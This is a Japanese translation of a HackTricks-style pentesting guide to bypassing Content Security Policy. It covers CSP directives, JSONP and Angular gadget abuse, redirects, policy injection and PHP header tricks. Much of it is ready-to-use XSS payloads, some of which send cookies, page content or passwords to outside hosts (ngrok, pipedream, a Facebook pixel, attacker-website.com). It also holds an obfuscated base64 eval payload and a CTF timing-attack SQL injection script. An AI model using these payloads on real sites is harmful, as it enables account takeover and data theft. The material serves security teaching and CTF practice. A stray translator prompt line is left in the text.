コンテンツセキュリティポリシー (CSP) バイパス

Reading time: 47 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

CSPとは

Content Security Policy (CSP) は、主に クロスサイトスクリプティング (XSS) のような攻撃から保護する ことを目的としたブラウザ技術として知られています。ブラウザが安全に読み込めるリソースのパスやソースを定義・指定することで機能します。これらのリソースには画像、フレーム、JavaScriptなどが含まれます。例えば、ポリシーは同一ドメイン(self)からのリソースの読み込みと実行を許可したり、インラインリソースや evalsetTimeoutsetInterval のような関数を通じた文字列コードの実行を許可する場合があります。

CSP の実装は レスポンスヘッダー を通して、または HTML ページに meta 要素 を組み込むことで行われます。ブラウザはこのポリシーに従い規定を強制し、検出された違反を即座にブロックします。

  • レスポンスヘッダーで実装される:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • meta tag によって実装される:
xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

ヘッダー

CSPは次のヘッダーで強制または監視できます:

  • Content-Security-Policy: CSPを強制します。ブラウザは違反をブロックします。
  • Content-Security-Policy-Report-Only: 監視用に使われます。違反をブロックせずにレポートします。プレプロダクション環境でのテストに適しています。

リソースの定義

CSPは、アクティブおよびパッシブコンテンツの読み込み元(オリジン)を制限し、インラインJavaScriptの実行やeval()の使用などを制御します。ポリシーの例は次のとおりです:

bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

ディレクティブ

  • script-src: JavaScriptの特定のソースを許可します。URL、インラインスクリプト、イベントハンドラやXSLTスタイルシートでトリガーされるスクリプトを含みます。
  • default-src: 特定の取得ディレクティブが無い場合のリソース取得のデフォルトポリシーを設定します。
  • child-src: web workersおよび埋め込まれたフレームのコンテンツに対する許可されたリソースを指定します。
  • connect-src: fetch、WebSocket、XMLHttpRequestのようなインターフェースを使って読み込めるURLを制限します。
  • frame-src: フレームのためのURLを制限します。
  • frame-ancestors: 現在のページを埋め込めるソースを指定します。 <frame>, <iframe>, <object>, <embed>, <applet> のような要素に適用されます。
  • img-src: 画像の許可ソースを定義します。
  • font-src: @font-faceで読み込まれるフォントの有効なソースを指定します。
  • manifest-src: アプリケーションマニフェストファイルの許可ソースを定義します。
  • media-src: メディアオブジェクトの読み込みに対する許可ソースを定義します。
  • object-src: <object>, <embed>, <applet> 要素の許可ソースを定義します。
  • base-uri: <base>要素での読み込みに対する許可URLを指定します。
  • form-action: フォーム送信の有効なエンドポイントを列挙します。
  • plugin-types: ページが呼び出せる mime タイプを制限します。
  • upgrade-insecure-requests: ブラウザにHTTPのURLをHTTPSに書き換えるよう指示します。
  • sandbox: <iframe>のsandbox属性に似た制限を適用します。
  • report-to: ポリシー違反があった場合にレポートが送られるグループを指定します。
  • worker-src: Worker、SharedWorker、ServiceWorkerスクリプトの有効なソースを指定します。
  • prefetch-src: フェッチまたはプリフェッチされるリソースの有効なソースを指定します。
  • navigate-to: ドキュメントがあらゆる手段(a, form, window.location, window.open, など)で移動できるURLを制限します。

ソース

  • *: data:, blob:, filesystem: スキームを持つものを除き、すべてのURLを許可します。
  • 'self': 同一ドメインからの読み込みを許可します。
  • 'data': dataスキーム経由でリソースの読み込みを許可します(例:Base64エンコードされた画像)。
  • 'none': いかなるソースからの読み込みもブロックします。
  • 'unsafe-eval': eval()や類似のメソッドの使用を許可します。セキュリティ上推奨されません。
  • 'unsafe-hashes': 特定のインラインイベントハンドラを有効にします。
  • 'unsafe-inline': インライン<script><style>のようなインラインリソースの使用を許可します。セキュリティ上推奨されません。
  • 'nonce': 暗号学的nonce(使い捨て番号)を用いた特定のインラインスクリプトのホワイトリストです。
  • If you have JS limited execution it's possible to get a used nonce inside the page with doc.defaultView.top.document.querySelector("[nonce]") and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
nonceを再利用してスクリプトを読み込む
html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
  • 'sha256-<hash>': 特定のsha256ハッシュを持つスクリプトをホワイトリストに登録します。
  • 'strict-dynamic': nonce またはハッシュでホワイトリスト登録されている場合、任意のソースからスクリプトを読み込めるようにします。
  • 'host': 特定のホストを指定します(例: example.com)。
  • https:: HTTPSを使用するURLに制限します。
  • blob:: Blob URL(例: JavaScriptで作成されたBlob URL)からリソースを読み込めるようにします。
  • filesystem:: filesystemからリソースを読み込めるようにします。
  • 'report-sample': 違反レポートに違反コードのサンプルを含めます(デバッグに有用)。
  • 'strict-origin': 'self'に似ていますが、ソースのプロトコルのセキュリティレベルがドキュメントと一致することを保証します(安全なオリジンのみが安全なオリジンからリソースを読み込めます)。
  • 'strict-origin-when-cross-origin': 同一オリジンのリクエストではフルURLを送信しますが、クロスオリジンのリクエストではオリジンのみを送信します。
  • 'unsafe-allow-redirects': 即座に別のリソースへリダイレクトするリソースの読み込みを許可します。セキュリティを弱めるため推奨されません。

危険なCSPルール

'unsafe-inline'

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';

動作する payload: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

CSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

caution

これは動作しません。詳細はcheck this.

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';

動作するペイロード:

html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

もし何らかの方法で、許可されたスクリプトが作成する形であなたのJSコードを使ってDOM内にallowed JS code created a new script tag を生成できれば、そのnew script tag will be allowed to be executed

Wildcard (*)

yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;

動作する payload:

html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

object-src と default-src の欠如

[!CAUTION] > これはもう動作していないようです

yaml
Content-Security-Policy: script-src 'self' ;

動作する payloads:

html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

File Upload + 'self'

yaml
Content-Security-Policy: script-src 'self';  object-src 'none' ;

もしJSファイルをアップロードできるなら、このCSPをバイパスできます:

動作する payload:

html
"/>'><script src="/uploads/picture.png.js"></script>

However, it's highly probable that the server is validating the uploaded file and will only allow you to upload determined type of files.

Moreover, even if you could upload a JS code inside a file using an extension accepted by the server (like: script.png) this won't be enough because some servers like apache server select MIME type of the file based on the extension and browsers like Chrome will reject to execute Javascript code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that Apache doesn't know the .wave extension, therefore it doesn't serve it with a MIME type like audio/*.

From here, if you find a XSS and a file upload, and you manage to find a misinterpreted extension, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot (some polyglot examples here).

Form-action

If not possible to inject JS, you could still try to exfiltrate for example credentials injecting a form action (and maybe expecting password managers to auto-fill passwords). You can find an example in this report. Also, notice that default-src does not cover form actions.

Third Party Endpoints + ('unsafe-eval')

warning

For some of the following payload unsafe-eval is not even needed.

yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

脆弱なバージョンの angular を読み込み、任意の JS を実行する:

xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads using Angular + window オブジェクトを返す関数を持つライブラリを使ったペイロード (check out this post):

tip

この投稿は、cdn.cloudflare.com(または他の許可されたJSライブラリリポジトリ)からすべてのライブラリ読み込み、各ライブラリの追加関数をすべて実行して、どのライブラリのどの関数がwindowオブジェクトを返すかを確認できることを示しています。

html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS クラス名から:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

google recaptcha JS コードの悪用

this CTF writeup によると、CSP 内で https://www.google.com/recaptcha/ を悪用して CSP をバイパスし、任意の JS コードを実行できます:

html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

さらに payloads from this writeup:

html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />

<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />

www.google.com を悪用した open redirect

以下のURLは example.com にリダイレクトします(出典: here):

https://www.google.com/amp/s/example.com/

悪用 *.google.com/script.google.com

Google Apps Script を悪用して script.google.com 内のページで情報を受け取ることが可能です。これはこのレポートで行われている例です。

サードパーティのエンドポイント + JSONP

http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

このようなシナリオでは、script-srcself に設定され、特定のドメインがホワイトリスト登録されている場合、JSONP を使って回避できます。JSONP エンドポイントは不安全なコールバックメソッドを許可するため、攻撃者が XSS を実行できることがあり、動作するペイロード:

html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>

JSONBee contains ready to use JSONP endpoints to CSP bypass of different websites.

同じ脆弱性は、trusted endpointにOpen Redirectが含まれている場合にも発生します。なぜなら、初期のendpointが信頼されているなら、リダイレクトも信頼されるからです。

Third Party Abuses

As described in the following post, there are many third party domains, that might be allowed somewhere in the CSP, can be abused to either exfiltrate data or execute JavaScript code. Some of these third-parties are:

エンティティ許可されたドメイン機能
Facebookwww.facebook.com, *.facebook.comExfil
Hotjar*.hotjar.com, ask.hotjar.ioExfil
Jsdelivr*.jsdelivr.com, cdn.jsdelivr.netExec
Amazon CloudFront*.cloudfront.netExfil, Exec
Amazon AWS*.amazonaws.comExfil, Exec
Azure Websites*.azurewebsites.net, *.azurestaticapps.netExfil, Exec
Salesforce Heroku*.herokuapp.comExfil, Exec
Google Firebase*.firebaseapp.comExfil, Exec

ターゲットのCSP内に上記のいずれかの許可ドメインがある場合、そのサードパーティサービスに登録することでCSPをバイパスし、exfiltrateしたり、コードを実行したりできる可能性があります。

For example, if you find the following CSP:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

または

Content-Security-Policy​: connect-src www.facebook.com;​

データをexfiltrateできるはずです。これは従来からGoogle Analytics/Google Tag Managerで行われてきた方法と同様です。この場合、一般的に次の手順に従います:

  1. ここでFacebook Developerアカウントを作成します。
  2. 新しい "Facebook Login" アプリを作成し、 "Website" を選択します。
  3. 「Settings -> Basic」に移動して「App ID」を取得します。
  4. データをexfiltrateしたいターゲットサイトでは、Facebook SDKのガジェット "fbq" を直接使用し、"customEvent" とデータペイロードを使ってexfiltrateできます。
  5. Appの「Event Manager」に移動し、作成したアプリケーションを選択します(note the event manager could be found in an URL similar to this: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)。
  6. 「Test Events」タブを選択して、"your" web siteから送信されるイベントを確認します。

Then, on the victim side, you execute the following code to initialize the Facebook tracking pixel to point to the attacker's Facebook developer account app-id and issue a custom event like this:

JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

前の表で指定した残りの7つのサードパーティドメインについては、悪用できる方法が他にも多数あります。以前のblog postを参照してください。

Bypass via RPO (Relative Path Overwrite)

前述のリダイレクションによるパス制限のバイパスに加えて、一部のサーバで使用できるRelative Path Overwrite (RPO)と呼ばれる別の手法があります。

例えば、CSPがhttps://example.com/scripts/react/のパスを許可している場合、以下のようにバイパスできます:

html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

ブラウザは最終的に https://example.com/scripts/angular/angular.js を読み込みます。

これは、ブラウザから見ると https://example.com/scripts/react/ 配下にある ..%2fangular%2fangular.js というファイルを読み込んでおり、CSP に準拠しているため動作します。

ブラウザはそれをデコードし、実際には https://example.com/scripts/react/../angular/angular.js を要求します。これは https://example.com/scripts/angular/angular.js と同等です。

By ブラウザとサーバー間の URL 解釈の不整合を悪用することで、パスルールをバイパスできます

解決策は、サーバー側で %2f/ と扱わず、ブラウザとサーバーで解釈を一致させることでこの問題を回避することです。

オンライン例: https://jsbin.com/werevijewa/edit?html,output

Iframes の JS 実行

Iframes in XSS, CSP and SOP

base-uri が欠落している場合

もし base-uri ディレクティブが存在しない場合、dangling markup injection を悪用できます。

さらに、ページが相対パスを使ってスクリプトを読み込んでいる(例: <script src="/js/app.js">)かつ Nonce を使用している場合、base tag を悪用してそのスクリプトを読み込ませることで your own server achieving a XSS.
脆弱なページが httpS で配信されている場合は、base に httpS の URL を使用してください。

html
<base href="https://www.attacker.com/" />

AngularJS イベント

Content Security Policy (CSP) として知られる特定のポリシーは JavaScript イベントを制限する場合があります。それでも、AngularJS はカスタムイベントという代替手段を提供します。イベント内で、AngularJS はネイティブのブラウザイベントオブジェクトを参照する特殊なオブジェクト $event を提供します。この $event オブジェクトは CSP を回避するために悪用できます。特に Chrome では $event/event オブジェクトは path 属性を持ち、イベントの実行チェーンに関与するオブジェクトの配列を保持しており、window オブジェクトが常に最後に配置されています。この構造はサンドボックス脱出の手法にとって重要です。

この配列を orderBy フィルタに渡すことで反復処理が可能になり、末尾の要素(window オブジェクト)を利用して alert() のようなグローバル関数を呼び出すことができます。以下のコードスニペットはこのプロセスを示しています:

xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

このスニペットは、ng-focus ディレクティブを使用してイベントをトリガーし、$event.path|orderBy を使用して path 配列を操作し、window オブジェクトを介して alert() を実行して document.cookie を表示させることを示しています。

他の Angular bypasses は次で確認してください https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS とホワイトリスト化されたドメイン

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

CSP ポリシーが Angular JS アプリケーションの script loading 用ドメインをホワイトリスト化している場合、callback functions の呼び出しや特定の脆弱な classes を利用してバイパスできます。この手法の詳細は、詳しいガイドを含むこの git repository を参照してください。

Working payloads:

html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Other JSONP arbitrary execution endpoints can be found in here (その一部は削除または修正されました)

Bypass via Redirection

CSPがサーバーサイドのリダイレクトに遭遇したとき、何が起きますか? リダイレクトが許可されていない別のオリジンに向かう場合は、やはり失敗します。

しかし、CSP spec 4.2.2.3. Paths and Redirects の記述によれば、リダイレクトが別のパスに向かう場合、元の制限を回避できる可能性があります。

例は次のとおりです:

html
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

CSP が https://www.google.com/a/b/c/d に設定されている場合、パスが考慮されるため、/test/a/test の両方のスクリプトは CSP によってブロックされます。

しかし、最終的に http://localhost:5555/301サーバー側で https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)// にリダイレクトされます。リダイレクトなので、パスは考慮されずスクリプトは読み込まれるため、パス制限を回避できます。

このリダイレクションがあると、たとえパスが完全に指定されていても、回避されてしまいます。

したがって、最善の対策は、ウェブサイトにオープンリダイレクトの脆弱性がないこと、そして CSP ルール内に悪用可能なドメインが含まれていないことを確認することです。

CSP を dangling markup でバイパス

Read how here.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' はコード内の任意のスクリプトを実行できることを意味します(XSSはコードを実行できます)、img-src * はウェブページ上で任意のリソースからの画像を使用できることを意味します。

このCSPは画像を介してデータを外部へ送信して回避できます(この場合、XSSがCSRFを悪用し、botがアクセスできるページにSQLiがあり、画像でフラグを抽出します):

javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

この設定を悪用して、画像に挿入されたjavascriptコードを読み込むこともできます。例えば、ページがTwitterからの画像の読み込みを許可している場合、特殊な画像作成してTwitterにアップロードし、"unsafe-inline"を悪用して通常のXSSのようにJSコードを実行させ、その画像を読み込み、そこからJS抽出して実行することができます: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Service Workersを使って

Service workers の importScripts 関数は CSP によって制限されません:

Abusing Service Workers

Policy Injection

調査: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

もしあなたが送信したparameterpasted inside the declaration of the policyに挿入される場合、policyを何らかの形でalterして無効化(it useless)することが可能です。以下のいずれかのバイパスで**allow script 'unsafe-inline'**させることができます:

bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

このディレクティブは 既存の script-src ディレクティブを上書きします
例はこちらで確認できます: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Edge ではさらに簡単です。CSP にこれだけを追加できれば: ;_Edge はポリシー全体を drop します。
Example: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; XSS (iframe) 経由 - Time attack

ディレクティブ 'unsafe-inline' がないことに注意してください。
今回は <iframe> を使った XSS によって被害者にあなたの管理するページを load させることができます。今回は、情報を抽出したいページへ被害者にアクセスさせます(CSRF)。ページの内容にはアクセスできませんが、もしページの読み込みにかかる時間を何らかの方法で control できれば、必要な情報を抽出できます。

今回は flag を抽出します。SQLi によって char が正しく推測された 場合、sleep 関数のために response がより時間を要する ようになります。すると、flag を抽出できるようになります:

html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}

function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}

async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}

let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"

async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}

run()
</script>

Bookmarklets を使った攻撃

この攻撃はソーシャルエンジニアリングを伴い、攻撃者がユーザーにブラウザの bookmarklet の上にリンクを drag and drop するよう説得することを想定します。この bookmarklet には malicious javascript コードが含まれており、drag&dropped またはクリックされると現在のウェブウィンドウのコンテキストで実行され、CSP をバイパスして cookies や tokens のような機密情報を盗むことができます

詳細はcheck the original report hereをご覧ください。

CSP を制限して CSP をバイパス

In this CTF writeup, CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via prototype pollution or dom clobbering allowed to abuse a different script to load an arbitrary script.

Iframe の CSP を制限するには、csp 属性を使用できます:

html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

In this CTF writeupでは、HTML injectionを介してCSPをさらに制限できたため、CSTIを防ぐスクリプトが無効化され、したがってvulnerability became exploitable.
CSPはHTML meta tagsを使用してより厳格に設定でき、inline scriptsはそれらのnonceを許可するentryremovingすることで無効化でき、shaを使って特定のinline scriptを有効にすることができます:

html
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />

Content-Security-Policy-Report-Only を使った JS exfiltration

サーバーがヘッダ Content-Security-Policy-Report-Only を(あなたが制御する値で)(CRLF 等の影響で)返すようにできれば、レポート先をあなたのサーバーに向けさせることができます。さらに、exfiltrate したい JS content<script> でラップすると、unsafe-inline が CSP で許可されている可能性は非常に低いため、これが CSP エラーをトリガー し、スクリプトの一部(機密情報を含む)が Content-Security-Policy-Report-Only を通じてあなたのサーバーに送信されます。

例としては check this CTF writeup.

CVE-2020-6519

javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'

CSPとIframeによる Leaking Information

  • iframe が作成され、CSP によって許可された URL(例: https://example.redirect.com)を指します。
  • この URL はその後、CSP によって 許可されていない 秘密の URL(例: https://usersecret.example2.com)にリダイレクトします。
  • securitypolicyviolation イベントを監視することで、blockedURI プロパティを取得できます。このプロパティはブロックされた URI のドメインを明らかにし、初期の URL がリダイレクトした秘密のドメインを leaking します。

Chrome や Firefox のようなブラウザは CSP に関する iframe の扱いで挙動が異なる点は興味深く、未定義の挙動により機密情報が leak する可能性があります。

別の手法として、CSP 自体を悪用して秘密のサブドメインを推測する方法があります。この手法は二分探索アルゴリズムに依存し、意図的にブロックする特定のドメインを含めるように CSP を調整します。例えば、秘密のサブドメインが未知の文字で構成されている場合、CSP ディレクティブを変更してこれらのサブドメインをブロックあるいは許可することで、異なるサブドメインを反復的にテストできます。以下はこの手法を容易にするために CSP をどのように設定するかを示すスニペットです:

markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

CSPによってブロックされるまたは許可されるリクエストを監視することで、秘密サブドメインの可能な文字を絞り込み、最終的に完全なURLを特定することができる。

どちらの手法も、CSPの実装やブラウザでの挙動の微妙な違いを突いており、一見安全そうなポリシーが結果的に機密情報を leak する可能性があることを示している。

Trick from here.

CSP をバイパスする危険な技術

PHP: パラメータが多すぎるときのエラー

According to the last technique commented in this video, sending too many parameters (1001 GET parameters although you can also do it with POST params and more that 20 files). Any defined header() in the PHP web code 送信されなくなる because of the error that this will trigger.

PHP レスポンスバッファのオーバーロード

PHPはデフォルトで レスポンスを4096バイトまでバッファリングする と知られている。したがって、PHPが警告を出している場合、警告内に十分なデータを入れることで、レスポンスCSP headerよりも先に****送信されることになり、そのヘッダは無視される。
この手法は基本的にレスポンスバッファを警告で埋めることでCSPヘッダが送信されないようにする、というものだ。

Idea from this writeup.

max_input_vars を利用して CSP を無効化する (headers already sent)

ヘッダは出力より前に送信されなければならないため、PHPが出す警告によって後続の header() 呼び出しが無効化されることがある。ユーザ入力が max_input_vars を超えると、PHPは最初に startup warning を投げる;その後の header('Content-Security-Policy: ...') は “headers already sent” で失敗し、結果的に CSP が無効化され、ブロックされていた reflective XSS が許可される。

php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];

翻訳したい README.md の内容を貼ってください。コード、タグ、リンク、パスはそのまま残して翻訳します。

bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"

# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent

エラーページの書き換え

this writeupから判断すると、エラーページ(CSPが適用されていない可能性あり)を読み込み、その内容を書き換えることで CSP 保護を回避できたようです。

javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)

SOME + 'self' + wordpress

SOMEは、XSS(または非常に限定的なXSS)をページのあるエンドポイントで悪用して、同一オリジンの他のエンドポイントを悪用する手法です。これは攻撃者ページから脆弱なエンドポイントを読み込み、その攻撃者ページを悪用したい同一オリジンの実際のエンドポイントへリフレッシュすることで実行されます。こうすることで、脆弱なエンドポイントは**opener**オブジェクトをpayload内で使用して、悪用対象の実際のエンドポイントのDOMにアクセスできます。詳細は次を参照してください:

SOME - Same Origin Method Execution

